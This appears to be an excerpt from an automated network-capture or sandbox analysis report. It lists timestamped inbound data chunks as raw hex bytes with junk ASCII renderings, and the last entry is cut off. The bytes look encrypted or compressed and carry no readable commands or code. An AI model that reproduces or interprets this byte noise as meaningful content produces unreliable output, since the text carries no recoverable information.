2022-08-23 01:43:52 UTC	231	IN	Data Raw: 9b 00 b8 79 c0 90 21 8e 61 e5 a5 cd 0d 92 da a7 f7 ae e6 93 ee 75 5d b8 23 ef 3c dc 51 25 59 e0 42 0f d6 b0 08 c3 08 6e 6a 8e 3d e4 aa c1 4f c6 8c c2 f4 59 c3 43 91 07 90 db 09 48 e6 7e c5 80 e6 16 24 ff 8d 7b e8 58 e9 30 2c 10 19 2c 5e 1b 9d 22 45 6e 5f b2 85 e4 6f 40 b1 9e ec cc 66 12 d5 13 ee 1d a6 ba f4 5e 15 82 d4 1a 1f 58 f3 34 c7 2e 17 29 31 0f 03 a3 8b 4e e8 48 ba c5 b6 c5 2d 67 d3 ef 6b 77 25 ad fd c7 db 58 f3 d5 65 1d 66 33 f7 f3 4a 6e 91 76 54 4c 1b 01 47 c0 4e 3c a3 f7 2b d7 db 05 87 af fb af fd 22 f1 bb 02 3f ca f5 33 2f 82 fa 89 08 cb ad 93 94 d5 e1 d0 4d f4 8b 2d 53 e5 4f 50 45 eb 67 e7 e2 f8 24 eb ad fa e0 f8 65 2c 45 56 13 91 a7 9c 04 e3 0c c8 72 07 12 17 8e f6 6d 68 b4 cb 66 8c 2b af 1f 22 08 2b a4 49 f9 d5 e3 14 76 26 2a 22 a5 0b 6b 48 Data Ascii: y!au]#<Q%YBnj=OYCH~${X0,,^"En_o@f^X4.)1NH-gkw%Xef3JnvTLGN<+"?3/M-SOPEg$e,EVrmhf+"+Iv&*"kH
2022-08-23 01:43:52 UTC	234	IN	Data Raw: 62 6c b5 71 13 2d b6 66 41 05 3a f1 a0 42 bb 7e b6 91 2b d7 df 84 5c 0c 43 bb d5 c4 ec 27 04 52 3a db 28 35 6c f1 56 58 ce c4 75 33 ef 31 46 0c c0 e2 f3 6c de c9 93 64 a5 24 2a 6b 2d ab 3d dd 59 98 cd 86 c7 f2 34 9d a4 ae 17 ab 48 0c 08 22 c9 dc b8 86 da b8 4d 26 07 d8 79 fe 5c 2a d8 1f a4 34 35 e4 1f 9f f2 fb cc d4 b4 a7 b2 b6 40 1c c1 4a a4 d9 d9 dd ae 0e d5 39 f8 ab 38 6f f0 bb da 6b 82 be 35 50 5b ac 97 44 74 6e 05 10 1e d3 37 72 8e 1b b3 7d 4d f1 c6 e8 30 57 be f9 7e d3 bc 35 3e 32 af e6 52 96 88 f7 1a 97 c6 97 3a 4c c1 34 68 f5 b4 4c 94 3f 60 f6 70 de 71 93 52 90 b4 9c 38 ab 12 3d a5 b4 f0 49 36 4c 61 27 01 5b f8 de 3b cd 14 a9 17 f8 47 fc eb 65 aa 10 64 1b 88 90 be 22 5a fb fd 99 c8 30 e6 02 fd d9 1a bc 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 Data Ascii: blq-fA:B~+\C'R:(5lVXu31Fld$k-=Y4H"M&y\45@J98ok5P[Dtn7r}M0W~5>2R:L4hL?`pqR8=I6La'[;Ged"Z0_.I"1zf
2022-08-23 01:43:52 UTC	238	IN	Data Raw: 67 9f 73 6a e6 12 fc 64 03 b3 71 38 e3 c6 10 44 5e aa 53 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 d3 ac 98 df 85 4c 14 74 7c 73 92 c7 54 92 fe b3 11 99 0e 1e 7f 03 1d 55 e1 b3 7c 41 6b 80 74 3c 77 17 96 64 c9 de e8 69 47 b3 e9 a3 a4 77 b5 98 bb 02 3f ca f5 33 2f 82 5d 7f b4 20 d8 56 f6 a6 0e 8c 62 22 2f 79 20 6f a4 8f 40 dd 4a 71 fa 34 97 3f 9b 7b 43 b0 72 e7 23 bb 37 10 a7 96 83 c1 14 cd fe 20 94 41 af 8f 8f 22 8b cd ff 14 c2 21 4c 59 50 92 f2 38 c5 f3 45 36 2f c5 f4 2d 5e 95 37 72 8e 1b b3 7d 4d f1 e1 99 fd 0e 24 53 a2 d8 bc 35 3e 32 af e6 52 96 6d cc da eb 54 92 1d ab a5 1b 47 e1 83 0c e4 ad 9d 03 b2 26 1e a7 d8 61 b1 cf 1d 9f 20 4b 7d e4 6d c7 24 d6 27 49 02 6c d8 a5 b8 0e 2f 20 1b f0 37 72 8e 1b b3 7d 4d f1 36 48 27 4f d1 d8 68 90 b0 20 5f 33 Data Ascii: gsjdq8D^S@{zfLt\|sTU\|Akt<wdiGw?3/] Vb"/y o@Jq4?{Cr#7 A"!LYP8E6/-^7r}M$S5>2RmTG&a K}m$'Il/ 7r}M6H'Oh _3
2022-08-23 01:43:52 UTC	242	IN	Data Raw: 7f 68 e8 8b 03 c3 99 6d 2b e2 cb 8d b3 38 42 c2 f4 1a d9 90 25 03 b2 1c ab dc d7 8c 8e e1 78 64 c2 da 90 e4 14 85 b5 6c fc 45 a6 00 08 52 82 1a 8d f8 d5 dc ac d9 24 3b 88 74 7a 0c b7 69 dd 9d 1f d2 b2 47 a1 a8 09 b0 a6 b6 0d ed a2 f1 ef e6 5c 9b 67 a0 42 86 6a 5c f9 9b 6b c6 f8 d5 7a 0e eb 0c 4e a8 40 81 2f 44 f8 d7 c2 33 d2 5d 77 f4 df 7e 37 fd 35 70 f7 94 68 0b 63 74 e8 c1 2a e6 40 41 17 4a 1c 3a 17 19 58 15 74 5f 63 20 0a 98 66 ce ec 2e 09 25 01 eb 49 12 03 87 5b f8 1e 28 05 22 b3 72 6e 31 fa f6 a1 ee 7e f8 5f 7f c9 1c 00 28 3b 74 b1 c8 13 58 12 d8 33 86 2c b9 b3 28 f3 34 18 6a 5d 30 af 5d af 79 32 63 6d a6 8e 67 b5 90 18 56 fa d0 37 a9 c1 d2 80 c7 e3 19 f4 72 f7 27 7b 39 f1 91 93 cf cb 56 e0 a4 f0 d5 5b 8e 6e 6e 1a 53 09 4a 0d 7e 61 ac 97 06 70 26 d1 Data Ascii: hm+8B%xdlER$;tziG\gBj\kzN@/D3]w~75phct*@AJ:Xt_c f.%I[("rn1~_(;tX3,(4j]0]y2cmgV7r'{9V[nnSJ~ap&
2022-08-23 01:43:52 UTC	246	IN	Data Raw: 9b 41 d7 da 0f 12 07 c6 50 64 2f b5 07 9a 33 4f b3 45 56 13 91 a7 9c 04 e3 51 01 5d 7b 59 89 1f 11 6d 68 b4 cb 66 8c 2b af 47 08 3b 1f 10 1c 26 b6 9c fe fb cb 0e 7d 86 71 e9 1f 7a 85 0d 6b 4d 51 7c 51 73 00 0a 98 01 53 e3 96 7d 17 81 e9 ff ce 92 da 6c cf bc 86 55 94 c7 52 6a 8c bd d8 f1 74 18 a3 f4 64 05 c4 96 e2 45 56 13 91 a7 9c 04 e3 91 b9 fc 86 a1 23 34 bf e7 35 bf 3c e9 af 27 6a 92 95 b5 ac 86 37 b4 fb f2 6a 5a 63 f9 0b e5 b5 1e 40 74 85 ef d6 16 2e 5f 07 14 09 b8 9a 13 02 df b7 c0 35 46 b0 89 e5 97 d7 6f 5d 14 f3 8b b7 47 56 3e 8d 07 8d 91 d9 e2 53 27 10 6c 5e 3d ac 4b ea a7 e2 33 55 ae 6e 7f 3a ba 84 30 1c db 82 bf e2 1d 04 9f f7 a3 b6 9c 5a 5a 19 d5 a7 49 ba f6 af cd 65 58 98 84 52 a4 6a f5 48 c7 6a d6 da 7c 6f e0 4e 6a cd f1 c1 d2 62 ed 3b 52 91 Data Ascii: APd/3OEVQ]{Ymhf+G;&}qzkMQ\|QsS}lURjtdEV#45<'j7jZc@t._5Fo]GV>S'l^=K3Un:0ZZIeXRjHj\|oNjb;R
2022-08-23 01:43:52 UTC	251	IN	Data Raw: 5c 2a d8 1f 34 6b de 48 c6 54 cc f7 cc d4 b4 a7 b2 b6 40 1c c1 4a a4 d9 d9 dd ae 0e d4 f4 16 0a f3 81 3f 26 1e b0 0f 61 4d 05 fa 38 8f be bb c3 b6 cd e4 05 f8 0d 60 86 6d 5a 0f 49 d3 7f 53 e3 27 c1 26 00 ea 5d 2e 2c cc 40 df fc c5 38 58 44 e2 9a fa c7 c8 15 45 e3 4c b7 80 80 44 57 80 53 04 a7 7f 85 45 56 13 91 a7 9c 04 e3 65 f6 c9 ec d3 92 c5 82 6d 68 b4 cb 66 8c 2b af 60 9e 66 07 a0 78 17 0e 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 ab d2 b1 db e2 27 d0 70 f2 89 33 1f 9d d5 7a 53 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 0e f9 da c8 49 b6 1c f9 0b b8 8b d0 24 e5 ed 0a 7a 71 a5 5c 83 f3 5b d3 d3 08 95 19 23 18 ad 94 b1 b3 83 c1 44 47 83 d8 0b b8 8b d0 24 e5 ed 0a 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 d3 08 95 Data Ascii: \*4kHT@J?&aM8`mZIS'&].,@8XDELDWSEVemhf+`fx_.I"1zf'p3zS'pzft`9aQI$zq\[#DG$_.I"1zf
2022-08-23 01:43:52 UTC	255	IN	Data Raw: b0 31 7b ba 84 dc 42 25 78 78 0f 1f 4f d7 40 33 1f 31 68 82 19 66 75 02 88 b3 a3 5e b4 a4 f0 39 7c 85 a9 28 04 b4 c9 7f 43 e1 31 ed 4c ba cd 4f 89 45 2c 04 fb 86 0c cd 24 3f a1 be d7 d7 17 54 a7 41 7c 1c ba 7e ce b1 00 4b 27 11 fe bc d0 10 58 ee 3e 44 ad b1 74 47 fc eb 65 aa 10 64 1b 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 86 af f2 a8 99 dc 8d 4c 62 ff 11 ad ac c2 1a 0d e5 66 0c 30 62 7e db 8e 57 34 4c ab c8 87 56 24 80 bf 37 c2 b9 e0 d3 a6 94 42 f5 0c 78 1d 3d 41 c0 e2 f3 6c de c9 93 64 a5 24 2a 6b 2d ab 3d dd 24 2e 24 89 04 f9 9b 40 18 2f 10 52 89 14 ff 02 42 88 cd d5 e6 a9 f7 35 0d 69 07 36 19 d1 a5 51 37 72 8e 1b b3 7d 4d f1 64 ce 32 ef 02 b7 c4 0c bc 35 3e 32 af e6 52 96 3e 14 96 7d 1c c7 91 5c 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 Data Ascii: 1{B%xxO@31hfu^9\|(C1LOE,$?TA\|~K'X>DtGed_.I"1zfLbf0b~W4LV$7Bx=Ald$*k-=$.$@/RB5i6Q7r}Md25>2R>}\S>zf
2022-08-23 01:43:52 UTC	259	IN	Data Raw: 33 8e a0 cf b0 29 61 ad c0 b5 8d 6a a2 93 76 e4 ad bf ca e1 26 47 19 e8 91 0b 61 d6 85 7b d0 87 b3 7a ab bf 6d 4f 71 48 d3 8c 61 81 98 a4 68 64 51 88 b5 f5 9b 4b ef e7 2d 14 41 20 2a e7 4d 8b 58 6f d7 37 5e 29 49 e3 6e 89 a5 b2 fd eb 9f 3d a5 c4 91 85 84 68 e8 f3 89 5b 13 9f 6e db 8e 13 49 54 89 4b d0 78 b8 55 9b cb 1c fe 73 ed e6 8a 23 2c 8b 6b f5 fd b1 f4 15 9b f6 b2 46 92 e1 59 95 0f 40 67 ab a9 27 0d a9 d8 fb af 82 99 b3 e3 5a fb 75 bb 64 49 ee 85 de 8e 2d 51 d8 6c fa 15 09 af 3b 39 3f cb 28 1e 9a 4b 9e a0 fd 2f 31 a2 58 21 05 3b ce d4 3b f0 35 2f 3c 5f e7 2c 24 9d 8e 43 e1 82 4d 0b c2 0b 01 20 a4 08 63 05 68 a6 66 06 8a f2 fb 5d f6 0f 17 6e 83 25 ee 0f d2 33 49 6f 79 a6 14 b0 5d fc e8 18 37 c5 73 00 f8 d1 67 1b 79 3d 07 46 9b 02 68 fa e9 5c e8 61 69 Data Ascii: 3)ajv&Ga{zmOqHahdQK-A *MXo7^)In=h[nITKxUs#,kFY@g'ZudI-Ql;9?(K/1X!;;5/<_,$CM chf]n%3Ioy]7sgy=Fh\ai
2022-08-23 01:43:52 UTC	263	IN	Data Raw: 44 2b 00 11 6c 9e b8 9a cf e8 ae 71 33 9c 82 a9 44 2b 00 11 6c 4a a4 30 fe 06 a7 40 36 f1 34 07 27 3f aa 28 75 23 03 d0 ca 84 18 ef 35 f1 cd fc 7d 26 5f cf ed 44 31 27 6e 05 5c 3d 7b b5 16 e4 cf 3a 70 d8 94 59 36 26 42 26 1b ce 88 61 79 c6 80 02 2f 81 fd 0b 9f 23 f4 1a f8 2f 1b 0e 15 4b 75 f6 82 1f 43 75 13 fa de 1a ed d9 64 c0 32 f5 5f 06 5d 1e a6 bd 20 38 d1 4f c9 8f d2 5f fb f7 e3 a0 40 69 3b ee 54 88 5d e2 dd ba 34 1d 72 2d 67 31 07 81 41 98 da 8a 08 0b ab 44 c7 bb 22 9f d4 26 df 15 ca 06 d1 3a 2e b5 ef 49 d5 e4 1f 28 69 6a a7 6a 0d 23 59 67 73 65 e2 7f 75 0b ed bc 60 d4 3e 42 31 93 f7 d2 fd 38 8c 7e b9 8d 97 0f dc 3a 76 e8 f4 94 ef 51 ee d0 e2 a3 b8 d5 39 11 4b 72 0a fc 11 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 f3 ad 9c 2f 4e 30 4c f0 4c 3e Data Ascii: D+lq3D+lJ0@64'?(u#5}&_D1'n\={:pY6&B&ay/#/KuCud2_] 8O_@i;T]4r-g1AD"&:.I(ijj#Ygseu`>B18~:vQ9Kr_.I"1zf/N0LL>
2022-08-23 01:43:52 UTC	266	IN	Data Raw: 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 68 bd 7e 2b 77 d0 a7 9b e9 bf 3c e4 c0 2d c4 66 c7 ac 16 e7 e9 fa 32 4e cb 92 e3 94 b9 5d 83 c5 0f d9 ae 3a 0c e3 3e b5 1a 75 d4 5e 36 ff 7f 58 58 7d f7 97 9c c9 97 d9 1a 75 d4 5e 36 ff 7f 58 65 12 d2 0a 5b 11 48 8e f5 90 1f a5 82 7c ec 15 fa 51 29 4f c1 34 f8 a5 44 c6 85 7b 10 61 36 d8 d2 f2 2d 44 6f 08 52 f9 a4 08 63 05 68 a6 66 06 79 4c da 80 22 fe c3 e4 9d 74 13 32 6c ec 4b c2 86 30 3a fb 2d d3 80 d9 ff ec d4 21 27 77 c1 99 e1 43 53 c8 66 c9 5b 94 8f ba f3 4f 69 9b e8 83 e6 d6 98 88 d0 05 6b 2f bb 1d 22 52 aa 36 b9 e1 ba 51 7d f4 21 1d cb fb 74 7f be c6 c8 5d 05 f5 18 77 d6 61 ca cf 4c 2c 74 7f be c6 c8 5d 05 f5 9c 3a 0d f4 9d d0 e8 32 74 bd a7 de 2d 32 47 3d 71 6d ec c7 b3 44 4b 3e 7d 17 ba b9 7e a2 80 Data Ascii: _.I"1zfh~+w<-f2N]:>u^6XX}u^6Xe[H\|Q)O4D{a6-DoRchfyL"t2lK0:-!'wCSf[Oik/"R6Q}!t]waL,t]:2t-2G=qmDK>}~
2022-08-23 01:43:52 UTC	270	IN	Data Raw: f7 44 67 d9 75 39 b1 89 56 2f 1d e3 51 6a 7d a6 f1 54 20 26 52 9a a6 f5 89 f5 c7 f6 98 03 91 a7 80 57 ee 5a d5 6c 42 4a ef 87 a6 d3 7f 53 e3 27 c1 26 00 4b fa b5 79 52 06 9f 14 8b 26 71 e6 60 8d 1c da 19 67 9e 5a 7f 51 1d 7e a5 77 49 4e 4b 7f 2e 41 68 5c 96 aa a5 12 56 1c 33 c4 be 21 12 7d 44 85 fd eb df cd fc c6 0e 84 05 e9 12 f2 07 c3 47 c0 2f 8d 27 e9 86 a6 6a ec 10 4d 64 58 20 01 56 30 2a 1d 66 ea 08 3d 85 12 80 53 ee 9c 2b 74 cc df 0c 04 08 2d a8 97 57 a3 91 dd 35 f5 f6 95 3b e5 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 3f 6d c1 e9 5d c1 e7 6d e9 83 0d 79 3c f0 f0 e7 e4 a1 9d b4 11 a0 31 59 dc e7 43 21 70 6f eb a0 da 1f 99 5f 79 95 4e 78 59 02 e1 d2 a6 c5 82 66 c8 64 f4 e4 e9 82 59 02 0e 8c 62 22 2f 79 20 6f c5 9b 42 a0 db 1e c2 0e 30 47 28 c3 Data Ascii: Dgu9V/Qj}T &RWZlBJS'&KyR&q`gZQ~wINK.Ah\V3!}DG/'jMdX V0*f=S+t-W5;_.I"1zf?m]my<1YC!po_yNxYfdYb"/y oB0G(
2022-08-23 01:43:52 UTC	274	IN	Data Raw: 91 be aa 0b bd 4e b0 20 5f 33 2e 60 f7 eb 65 5a 45 69 70 88 a2 37 ce c8 85 37 15 6c ae 6f 59 17 d2 65 ee 2c 67 ed 3c 5d 57 38 2d 37 10 2f 59 98 9a 30 f6 57 68 d5 b0 1a 71 91 4b b7 41 c0 fc a1 ca 18 09 db d9 7d 9b d7 7b af b1 a4 9e b9 f8 af 4f 1f fc 7e 50 dc b3 c5 c2 a6 ad be 8a ec 3f 51 5f c9 dd d7 b4 f2 c3 5d ec 8d d1 8d fc e7 85 15 fa 88 18 95 f4 1c de a2 9f a2 30 81 38 d4 37 0c f5 da 7f 77 07 d8 16 14 e7 70 49 25 2c 68 0a 4e c4 32 5c dd 31 fa 9c f7 63 16 ac a0 a2 e2 75 1d 9d 57 c1 bc 26 eb 3a 94 f1 91 fc 49 ef 17 c0 cb e4 94 b8 3a 0b 06 37 72 8e 1b b3 7d 4d f1 1e d2 d2 42 6e 30 4e 3f 33 18 de 62 e1 b7 61 65 80 2f 28 b5 41 fb b1 0c 4e 88 02 9f 95 bf a7 14 1f 12 7a 02 bc 66 d6 03 36 5b ac a8 85 6f bf 07 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 71 Data Ascii: N _3.`eZEip77loYe,g<]W8-7/Y0WhqKA}{O~P?Q_]087wpI%,hN2\1cuW&:I:7r}MBn0N?3bae/(ANzf6[o@{zfq
2022-08-23 01:43:52 UTC	278	IN	Data Raw: 99 a6 f7 7b 82 59 e1 c2 58 66 c8 37 b1 48 1b b2 e4 37 f4 b7 9c 60 6d 52 7d 85 1a 7b 90 ea a8 dc 64 8c 9d 6d 55 aa 3b c0 3f 99 cf 1c 14 8e df 00 fd 73 2a db 39 6e b5 e7 bf 10 be 03 28 36 98 9e 96 25 19 26 fc da 91 fb d1 45 56 13 91 a7 9c 04 e3 46 b3 c5 62 a9 07 34 39 6d 68 b4 cb 66 8c 2b af 39 72 9c 48 3b 83 03 4e 28 af 27 41 45 d6 b6 fa c1 06 ea d7 2d b5 2e 4e 9c b3 16 f0 0a 8c 6d d6 8c 16 8f 31 67 02 b8 ff e7 4b 9c dc 9b d5 f7 1b ca 28 99 24 bc c9 b1 0d 65 f4 b4 ea e1 4d 84 2f 21 cd 78 ae 79 fd 8a 68 21 cc b3 8e 52 01 5a 76 f3 ef 79 ed f5 de b9 65 fc 5f 12 39 7c 80 83 11 06 82 f0 15 82 97 f0 6e ca 6c 60 10 7b 2f 83 e8 49 ad b9 c5 b9 13 c0 5b c7 53 96 b9 83 4f dc b1 45 56 13 91 a7 9c 04 e3 8b ce bb 04 46 82 08 9a 3e 9b 1e f4 db b4 08 95 8f c0 67 ff 26 1f Data Ascii: {YXf7H7`mR}{dmU;?s*9n(6%&EVFb49mhf+9rH;N('AE-.Nm1gK($eM/!xyh!RZvye_9\|nl`{/I[SOEVF>g&
2022-08-23 01:43:52 UTC	283	IN	Data Raw: 83 5c 3f f9 29 2e 48 8d 61 22 c7 92 d7 b0 31 7b ba 84 dc 42 33 c0 fc 08 d4 77 46 a8 58 58 22 92 c3 d4 47 80 3e 40 ef 77 a7 f0 25 67 e4 f8 dc 60 5b e2 fc ed 34 54 0b 57 0c 5d b5 f0 9a 21 dd 3d 76 f7 1c ad 6a 44 c4 94 01 3b e7 bf dc d2 df e4 44 ab c8 be 69 94 ee 3f d3 9f 08 26 73 ed 5d b6 97 a9 a5 b6 d4 bf b2 18 2f f4 dd fe ec bf 5b 6b 3d f5 d0 b3 67 a1 cb 2c 3a 37 54 10 41 38 ab de d3 19 b1 9a 95 bd d6 eb 9b c5 74 94 10 79 47 21 6c 18 28 39 a9 c4 37 bf 96 60 d7 2e f7 5a 04 89 77 cc e6 6a 86 38 28 dc 59 d6 54 f0 1e f4 98 5f 1a 9d f8 fb 3b d2 5c 26 b5 6b 5e 84 3e cd 66 46 d0 f3 fe 41 56 f7 2f 85 cc cf 4c 58 3a ed a3 fb b2 71 3b b0 02 01 68 78 af 99 e8 4f 7e c5 80 e6 16 24 ff 8d 9f cf df c8 d2 8d 10 c9 19 80 c4 6c 50 63 8d e2 46 13 b1 c3 23 44 c4 7e 23 c4 8c Data Ascii: \?).Ha"1{B3wFXX"G>@w%g`[4TW]!=vjD;Di?&s]/[k=g,:7TA8tyG!l(97`.Zwj8(YT_;\&k^>fFAV/LX:q;hxO~$lPcF#D~#
2022-08-23 01:43:52 UTC	287	IN	Data Raw: 68 49 b9 f0 41 48 0a 50 1f 53 64 99 f6 1e 83 41 8c f6 74 8b 77 33 7a d4 c0 5b 08 66 1e 3a 6a 48 60 d8 0a 12 73 88 1a d5 7e 25 2f 37 58 a7 78 0f d4 c7 79 f3 fa 0b 74 b2 46 c5 9c 0b 49 c4 83 09 a1 c7 36 09 ec ee d9 8c 07 77 7b 46 7d da 05 0a 66 f7 81 7e 67 c2 13 70 b4 d2 f4 47 4c d4 4d ca 9a 52 5c c6 ba 4e 33 7e a8 0d 15 a5 1c 8a fb da 39 f7 e5 a6 43 fe 3b 1d 9e 78 6f 46 fa 20 4d 04 bc fa 60 68 88 aa 22 f4 03 e4 fd 6a 22 5d b1 3a c8 59 cd 33 8b 27 1b b5 c1 37 02 5c 7e 09 9c d0 a4 0d 83 7c 12 27 1d 7a 26 60 f0 fb 94 30 45 e8 dc a7 45 7b a5 30 97 58 83 54 da 0b 40 0e 25 4e ce 8c 33 3c 09 c8 a2 82 ae 6c 12 16 e2 c3 53 45 56 13 91 a7 9c 04 e3 7e 1e f8 21 e9 57 40 84 2a b8 47 b5 73 34 6b 43 bb fc 60 fb d6 82 96 b9 1e fe 1f dc 21 52 e9 e4 ca 4b a6 84 b2 8c 92 fc Data Ascii: hIAHPSdAtw3z[f:jH`s~%/7XxytFI6w{F}f~gpGLMR\N3~9C;xoF M`h"j"]:Y3'7\~\|'z&`0EE{0XT@%N3<lSEV~!W@*Gs4kC`!RK
2022-08-23 01:43:52 UTC	298	IN	Data Raw: 1f 69 c8 fb b3 20 c5 1b bd ba e6 f4 34 f0 c1 b8 ef d2 72 88 20 a6 15 bf 27 09 a9 48 17 c6 d6 28 03 f5 73 15 37 c3 84 d6 73 7f 24 28 18 ca 90 78 4d 84 a7 64 45 a6 86 74 db 99 9f 29 39 58 6d 88 bc b3 57 12 86 ec 7e fc a0 3c 41 3c 9a ca c6 3b a9 d0 94 45 f6 a8 bd b9 f1 19 03 27 ef 2b ca 4d 5f 28 e6 b7 da 30 48 a6 67 cc 1e d9 fd eb a9 9d b8 41 54 62 69 cd 09 7d 72 f3 1e a3 83 7e 31 05 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 be 46 e7 e4 61 59 e6 d8 dd 9f d8 16 61 03 56 54 bc 82 1f 79 1d c6 4b 25 7e 1d a7 72 b9 94 f4 7e 31 09 ca 37 5c 88 77 52 c1 39 6c 65 7e 77 15 de 45 56 13 91 a7 9c 04 e3 fa 3c c4 89 78 d4 ed f9 6d 68 b4 cb 66 8c 2b af 4a 0a d2 0c 28 dc b8 38 56 c8 73 fb 1a 73 e1 e4 30 9d 4a 2a 31 7b cb f4 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 Data Ascii: i 4r 'H(s7s$(xMdEt)9XmW~<A<;E'+M_(0HgATbi}r~1@{zfFaYaVTyK%~r~17\wR9le~wEV<xmhf+J(8Vss0J*1{_.I"1zf
2022-08-23 01:43:52 UTC	303	IN	Data Raw: be 6c 1c 96 c2 3c bd 9d 81 4b df 00 58 99 ac 90 5c 86 6d f2 1e 9a 54 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 d4 12 ea 0c 05 5e f7 11 d3 39 c7 78 c7 73 16 b0 80 c7 b3 4d c4 38 34 f3 6c bf af ae 7d 7d f1 f0 61 db 4c c0 d1 cd 83 03 7e ca d3 59 42 14 a2 fc a7 c2 96 37 f4 b6 c8 af 8d 7c 5e 7e a9 c5 ce 08 3f 03 fc fe ab 96 76 d0 30 53 d3 59 cb ed 78 cb 90 5c 86 6d f2 1e 9a 54 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 0c ca 8c 61 e4 ec 33 d1 3d 79 69 4d 2d 00 5f d6 dd c6 fd b1 06 19 32 c2 9d 82 5b 8e 49 20 2f f8 45 56 13 91 a7 9c 04 e3 87 31 b8 36 7c 52 9d 9b 6d 68 b4 cb 66 8c 2b af 59 36 31 5a 7f eb b9 07 7a c0 a3 d2 13 11 f0 e9 90 5c 86 6d f2 1e 9a 54 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 d9 1a 88 89 8e 01 19 31 95 c0 98 d4 9d 8e b8 e9 Data Ascii: l<KX\mT_.I"1zf^9xsM84l}}aL~YB7\|^~?v0SYx\mT_.I"1zfa3=yiM-_2[I /EV16\|Rmhf+Y61Zz\mT_.I"1zf1
2022-08-23 01:43:52 UTC	319	IN	Data Raw: 03 d7 a7 42 d5 a7 55 d1 0b d3 e5 98 27 5c fa 4e 15 dd 27 db 86 b1 62 b6 e6 e2 e4 0d 8e 58 54 48 a5 ff 9a dd 68 ea 54 1c d4 e0 93 da cd 3a 9e 40 58 c0 fa 7f 84 7d 63 5f 59 6f c4 12 50 61 01 be eb 8b 99 06 6d 9b af f8 2d d4 76 12 6b ca 6d 11 7d 0b 4e 5d d5 ef 7d 5d 19 96 85 7b ab de bd 33 8c 51 7a 5f 06 54 52 46 18 26 01 68 22 25 9b f1 74 bc a5 29 c0 12 be 80 bf 37 c2 b9 e0 d3 a6 25 41 b5 26 8d 3a 0b e7 41 fb ba 3f 3e 8e 43 e7 0d 9d 78 ab 4c a5 fe 4a 37 72 8e 1b b3 7d 4d f1 e5 42 27 e7 11 a2 b4 39 fd 94 e3 e0 47 03 d2 be 3a f9 50 86 40 41 01 c1 46 97 79 40 d0 03 6c a6 77 bd 46 b9 14 78 3f d0 a9 41 5d 59 5f 13 0c 68 d7 22 36 3e f4 51 b7 a3 fb 74 08 96 8d 0b 31 34 6b 5e 7f 16 96 18 14 9b 21 76 ec 35 c1 1e 48 f6 a1 37 78 a5 5f 45 3a 8a 45 56 13 91 a7 9c 04 e3 Data Ascii: BU'\N'bXTHhT:@X}c_YoPam-vkm}N]}]{3Qz_TRF&h"%t)7%A&:A?>CxLJ7r}MB'9G:P@AFy@lwFx?A]Y_h"6>Qt14k^!v5H7x_E:EV
2022-08-23 01:43:52 UTC	330	IN	Data Raw: 74 f2 57 fc e6 60 f5 fe f0 8b 88 49 b9 ee 3e b2 4f a1 91 0b da 97 64 a4 1c f8 f3 8b f7 e6 45 26 e4 89 02 b1 20 62 b7 6f df 5f b4 23 7f ed 89 ce 60 a9 ea 11 13 38 ab 54 0a d5 75 7a 55 ce 23 77 70 7b b3 dc fa e4 15 c6 22 90 d2 65 1a 89 5b 89 fb 48 ee d6 4c 2e 0e 66 12 cf fa 16 ce 05 9c 1d 73 03 60 e6 de a0 69 57 f6 bd 8b 30 55 0c 76 6f 77 70 47 b1 67 66 7a 44 a6 10 1f 49 5f 8a 26 5d 9d 1b 50 1f 6a 74 36 84 eb e6 18 45 3d ed 7f 25 1a 7b a4 a7 7d bc f6 1c d6 70 ab 81 4f f2 1b 18 23 58 5f 49 e6 7b a1 c8 0d c0 e5 ff 01 ff 9a 1c 32 af f1 01 29 a1 b0 96 92 26 34 ed 1b 77 93 dc 20 32 81 9c b2 19 4d 15 0c c8 da 1c 01 18 e0 6f f0 50 14 8a 1d 2a fd 7d c4 5b a8 e8 21 1f 4b 9d 78 6d 70 36 40 e6 f0 69 78 77 5a 61 ff 73 1c 45 22 90 d2 65 1a 89 5b 89 72 51 1c ce 6e c8 c8 Data Ascii: tW`I>OdE& bo_#`8TuzU#wp{"e[HL.fs`iW0UvowpGgfzDI_&]Pjt6E=%{}pO#X_I{2)&4w 2MoP*}[!Kxmp6@ixwZasE"e[rQn
2022-08-23 01:43:52 UTC	346	IN	Data Raw: 41 51 b9 11 da 50 a1 1b 74 a3 63 bd ba 19 0d 03 aa 2d 3e 99 61 6b c4 8f 5f eb b9 df 24 53 01 1f 45 56 13 91 a7 9c 04 e3 4e 20 07 63 67 eb f6 a8 d6 37 a7 4c 63 f5 04 79 c5 e3 cb 44 f6 89 92 5f 4c 7b 73 8a 83 a3 e1 4a cd e8 2c 97 f2 e2 68 c3 21 aa 00 f6 ad f9 c3 d5 38 61 a1 ba d6 cf 29 db 89 6e e8 b3 d8 c2 07 79 68 96 5d 0d f6 a3 6c f6 69 82 bf f8 c3 91 44 c5 35 18 3d a5 97 cf 67 b6 46 8e 3f 38 bf da 9b d9 5b 73 a2 f8 17 7c bd 7b e8 06 95 bb 40 62 08 c6 37 72 8e 1b b3 7d 4d f1 a6 46 75 4e 24 83 2e 67 bc 35 3e 32 af e6 52 96 b2 41 bc 6e 66 ea 0a d9 79 0a 34 23 3e 08 1f 3e 45 56 13 91 a7 9c 04 e3 9b f8 3f 28 b9 88 c0 c7 9a 34 c2 dd 59 47 86 fc 31 b6 60 c2 2e 3c aa 17 43 42 67 00 14 35 88 fa 0e 5d 79 08 1f 3f 93 01 e8 48 9a cf 72 05 9e dc 45 56 13 91 a7 9c 04 Data 